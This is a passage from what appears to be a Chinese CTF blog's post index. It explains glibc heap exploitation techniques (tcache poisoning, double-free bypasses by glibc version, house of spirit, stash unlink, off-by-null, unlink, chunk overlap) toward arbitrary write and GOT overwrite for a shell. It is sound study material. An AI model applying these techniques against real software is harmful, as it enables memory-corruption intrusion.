chunk，会先把 fastbin/smallbin/unsorted bin 中的 chunk 放到 tcache 中，直到填满。之后再从 tcache 中取；因此 chunk 在 bin 中和 tcache 中的顺序会反过来 当对应大小的tcache bin有chunk但未满，却从fastbin/smallbin中取chunk时，有： 从fastbin中返回一个chunk，则单链表中剩下的堆块都会被放入对应的tcache bin中直到上限 small bin虽然双链表，但同上。需要注意的是，除了检测第一个堆块的fd指针，都缺失了__glibc_unlikely(bck -\u0026gt; fd != victim)的双向链表完整性检测。 tcache中的chunk和fast bin一样，不会被合并(不取消inuse位) calloc()越过tcache取chunk，通过calloc()分配的堆块会清零 与fastbin不同的是，当从tcache中取chunk时，并没有相关代码检验chunk是否符合fastbin大小 tcache poisoning 如果能够对tacache bin中的chunk fd字段进行修改，使其指向任意地址，再通过malloc申请到该地址，由于缺乏对该地址的size检测，甚至不需要伪造fake chunk，就能够直接实现任意地址写。同时指向的地址就是user data地址而不用考虑偏移。\nglibc 2.29 该版本添加了size检查，故需要在目标位置伪造size glibc 2.31 glibc添加了对tcache的count检查，即当对应大小count小于0时，无法再从该类型tcache bin中malloc到chunk。这很好绕过，多free一个tcache chunk进入bin中即可(或者溢出/修改到count字段？) glibc 2.32 会检查目标位置是否对齐；tcache的fd指针会被异或加密： chunk-\u0026gt;fd = target ^ (address \u0026gt;\u0026gt; 12); tcache double free 类似于fastbin double free因而没有任何难度。由于低版本不像fast bin那样还有对double free的直接检查，tcache_get()甚至连任何安全检查都没有，可以进行直接的两次连续free()\nglibc 2.27 简单的double free成为历史。(2.27前期版本有，从ubuntu1.3开始加入key)\ntcache_chunk的bk处添加一个key字段，对于每一个进入tcache bin的chunk都会使其bk处的key字段等于一个值。当double free时会检测该字段是否等于key，如果等于则检测出为double free。绕过即将chunk的bk字段修改掉只要不等于key就好\n在glibc 2.27 - 2.33间，key的值为tcache_perthread_struct的地址，因而可以通过其leak堆地址\n在glibc 2.33以后，tcache的key变为随机数，无法再leak堆地址\ntcache house of spirit 与fast bin的house of spirit相同\nglibc 2.26 - 2.28 此时的tcache还未引入size检查，因此比fastbin house of spirit更加强力直接，无需在目标地址伪造size glibc 2.29 该版本引入size检查，需要如同fast bin一样伪造size tcache_stash_unlink_attack calloc会绕过tcache进行取chunk，取到chunk后会将chunk清空内容 smallbin有特性：从smallbin中取chunk后，small bin中剩下的chunk会被挂入tcache 基于以上两点，可以进行以下操作：\nmalloc一个tcache chunk，将其释放进tcache bins，然后利用UAF或其他漏洞修改该chunk的bk为fake chunk addr，假设此时我们small bin中已经有其他chunk，我们进行一次calloc从small bin中取chunk，会导致tcache chunk全部进入small bin。在将该chunk插入small bin的过程中，实际上是从单链表变成了双链表，于是fake chunk被插入small bin；将victim -\u0026gt; bk -\u0026gt; fd = small bin，可以导致该位置写入一个极大值\ntcache_perthread_struct hijacking 一种思路。由于该结构体以堆0x250的形式在heap中，可以尝试劫持其内容，\n控制counts：可以绕过tcache进行free chunks 控制entries：直接进行tcache poisoning ","date":"2025-03-07","draft":false,"permalink":"/posts/tcache/","section":"用户态利用","summary":"如果一个cache不够解决问题，那就再加一个cache","tags":["pwn"],"title":"tcache attack"},{"content":"堆的具体手法和实际利用之间仍然具有一定距离，实际利用可能是多种手法的交叉利用。话虽如此，学习具体手法却是开始实际利用之前不可或缺的一环。\ndouble free 利用前提：具有UAF漏洞，bin为单向链表\n利用过程：利用first_fit分配原则，诱导分配器将任意地址当成堆分配给用户\n利用效果：任意地址读写\nfast bin double free 注意点：\nfast bin对double free有检查，即检查fast bin指向的chunk与victim是否相同。所以不能连续两次释放同一个chunk。可以通过中间多free另一个chunk来绕过 fast bin会检查目标地址 + 8(即fake chunk的size位)是否符合fast bin大小 tcache bin double free 顺带复习一下tcache bin：\ntcache bin在glibc 2.26 (ubuntu 17.10)开始引入，其与fast bin具有相似的单向链表结构，但每种大小的fast bin只能容纳7个chunk\n2.26 - 2.28: tcache不会检测double free，可以连续两次free同一个chunk\nglibc 2.31版本下的tcache double free 从2.29开始引入对double free的检查，glibc设计者加入key字段，防止double free。因此tcache_entry的结构发生了变化\ntypedef struct tcache_entry { struct tcache_entry *next; /* This field exists to detect double frees. */ struct tcache_perthread_struct *key; } tcache_entry; key一般会指向tcache_perthread_struct的mem，如果要free的chunk的key为这个值，就会触发检查，程序会遍历链表，检查这个tcache是不是已经在里面了。\n这是一个优秀的剪枝，几乎不会影响性能，非double free情况下触发这个检查的概率极低，而double free又很容易被检查出来。\n先前版本我们往往会通过直接double free的方式去构造成环来劫持fd，这个改进即堵死了这条路。\n需要double free的时候，一定要先破坏key指针，使其成为一个其他的值\n绕过：通过fastbin double free + tcache stash机制 (1) 假设目前tcache被填满了：C6-\u0026gt;C5-\u0026gt;C4-\u0026gt;C3-\u0026gt;C2-\u0026gt;C1-\u0026gt;C0，fast bin中为：C7-\u0026gt;C8-\u0026gt;C7。\n(2) 下一步，为了分配到fast bin，需要先申请7个，让tcache为空（或calloc），再次申请时就会返回fast bin中的C7，同时由于tcache stash机制(从fast bin/small bin返回了一个chunk，则单链表中剩下的堆块会被放入对应的tcache bin中，直到上限)，fast bin中剩下的C8,C7均被放入了tcache bin，此时，在C7的fd字段写入target_addr（相当于获得了Edit功能），于是target_addr也被放入了tcache bin，因此这里target_addr处甚至不需要伪造size（target_addr指向user data区）。\n(3) 此时，tcache bin中单链表为：C8-\u0026gt;C7-\u0026gt;target_addr，再申请到target_addr，从而得到了一个真正的任意写。\noff by one 溢出字节可控制：修改大小造成堆块重叠，也可变为off by Null off by null:在 size 为 0x100 的时候，溢出 NULL 字节可以使得 prev_in_use 位被清，这样前块会被认为是 free 块。 此时可unlink 此时prev_inuse会启用，可伪造prev_size造成堆块重叠。该方法关键在于unlink时有没有检查按照prev_size找到的块大小与prev_size是否一致(在2.29之后开始check) 在2.29之后由于加入了check:\nif (__glibc_unlikely (chunksize(p) != prevsize)) malloc_printerr (\u0026#34;corrupted size vs. prev_size while consolidating\u0026#34;); 由于难以控制一个真实chunk的size字段所以该方法失效；但是只要满足被unlink的chunk和下一个chunk相连，仍然可以伪造fake_chunk(见ctf wiki)\n隐蔽：strcpy会在复制的字符串末尾加上\\x00造成off by null\n该方法催生出house of einherjar\nunlink 发生在两chunk合并之时\n绕过保护检查机制：(P-\u0026gt;fd-\u0026gt;bk!=P || P-\u0026gt;bk-\u0026gt;fd!=P) == False\n假设有两个chunk均正在使用且相邻，且此时存在off by one漏洞：\n再关注如何构造fake_chunk来Bypass安全机制：\n此处偷一张图：\n如图右侧，一般题中会有这样一个存储堆指针的数组可被我们操作，此时在其中布置好堆地址，即可实现a[5] = 0x600b10\nif (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \\ malloc_printerr (\u0026#34;corrupted size vs. prev_size\u0026#34;); 注意由于以上检查，fake chunk中也要伪造size与prev_size达成一致\n此时利用题中给的edit功能，我们就可以实现任意修改该表，既然该表中的地址我们随意控制，接下来就可以填入got表地址，改写got从而getshell\nChunk extend \u0026amp; overlapping 堆块重叠\n通过堆溢出可以修改到size字段来扩大size字段，使一个堆能够覆盖到其他的堆从而实现堆块重叠。\n由于free()函数释放chunk的时候只检查size是否合法，但next chunk的获取是通过chunk addr + size获取的\n/* Ptr to next physical malloc_chunk. */ #define next_chunk(p) ((mchunkptr)(((char *) (p)) + chunksize(p))) 可以看出，ptmalloc是通过chunk header的size/prev_size字段来定位前后chunk的，由此产生漏洞\n通过free一个非正常chunk再将其malloc出来，我们可以实现对正常chunk的任何字段任意写，这往往是许多其他攻击手法的基础。\n","date":"2025-03-06","draft":false,"permalink":"/posts/%E5%A0%86%E7%AE%A1%E7%90%86%E6%9C%BA%E5%88%B6%E5%85%A5%E9%97%A8/","section":"用户态利用","summary":"一个晚上一个奇迹","tags":["pwn"],"title":"PWN 用户态堆利用基础手法"}]